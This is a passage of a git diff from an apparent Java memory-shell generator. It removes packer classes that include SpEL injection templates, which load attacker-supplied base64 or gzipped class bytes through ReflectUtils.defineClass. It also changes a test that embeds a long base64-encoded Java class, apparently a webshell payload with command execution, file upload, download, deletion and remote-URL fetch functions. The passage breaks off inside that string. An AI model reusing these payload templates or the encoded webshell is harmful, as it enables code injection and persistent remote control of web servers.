com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; - -/** - * @author ReaJason - * @since 2025/1/1 - */ -public interface JarPacker extends Packer { - /** - * 将生成的内存马打包成 bytes - * - * @param generateResult 生成的内存马信息 - * @return 字节数组 - */ - byte[] packBytes(GenerateResult generateResult); -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspPacker.java deleted file mode 100644 index 3596422c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/JspPacker.java +++ /dev/null @@ -1,10 +0,0 @@ -package com.reajason.javaweb.memshell.packer.jsp; - -import com.reajason.javaweb.memshell.packer.AggregatePacker; - -/** - * @author ReaJason - * @since 2024/11/26 - */ -public class JspPacker implements AggregatePacker { -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java deleted file mode 100644 index dfe82ff9..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/rhino/RhinoPacker.java +++ /dev/null @@ -1,17 +0,0 @@ -package com.reajason.javaweb.memshell.packer.rhino; - -import com.reajason.javaweb.memshell.Packers; -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; - -/** - * @author ReaJason - * @since 2025/1/30 - */ -public class RhinoPacker implements Packer { - - @Override - public String pack(GenerateResult generateResult) { - return Packers.ScriptEngine.getInstance().pack(generateResult); - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELPacker.java deleted file mode 100644 index 9fb2a1d7..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELPacker.java +++ /dev/null @@ -1,10 +0,0 @@ -package com.reajason.javaweb.memshell.packer.spel; - -import com.reajason.javaweb.memshell.packer.AggregatePacker; - -/** - * @author ReaJason - * @since 2025/1/26 - */ -public class SpELPacker implements AggregatePacker { -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java deleted file mode 100644 index 6414a7c9..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.reajason.javaweb.memshell.packer.spel; - -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.utils.CommonUtil; -import lombok.SneakyThrows; - -import java.util.Base64; - - - -/** - * @author ReaJason - * @since 2024/12/13 - */ -public class SpELSpringIOUtilsGzipPacker implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; - - @Override - @SneakyThrows - public String pack(GenerateResult generateResult) { - return template.replace("{{className}}", generateResult.getInjectorClassName()) - .replace("{{base64Str}}", Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes()))); - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringUtilsPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringUtilsPacker.java deleted file mode 100644 index 0ca73122..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringUtilsPacker.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.reajason.javaweb.memshell.packer.spel; - -import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.packer.Packer; - -/** - * @author ReaJason - * @since 2024/12/13 - */ -public class SpELSpringUtilsPacker implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; - - @Override - public String pack(GenerateResult generateResult) { - return template.replace("{{className}}", generateResult.getInjectorClassName()) - .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()); - } -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java index b4b866cf..c057199b 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java @@ -52,12 +52,8 @@ class GeneratorMainTest { GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); if (generateResult != null) { System.out.println(generateResult.getShellBytes().length); -// System.out.println(((JarPacker) Packers.AgentJar.getInstance()).packBytes(generateResult).length); Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); -// System.out.println(Base64.getEncoder().encodeToString(generateResult.getInjectorBytes())); -// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult)); -// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult)); } } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java index c64e4ada..217d1996 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.packer.BCELPacker; import org.junit.jupiter.api.Test; import java.util.Base64; @@ -19,7 +20,7 @@ class BCELPackerTest { byte[] bytes1 = Base64.getDecoder().decode("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgAB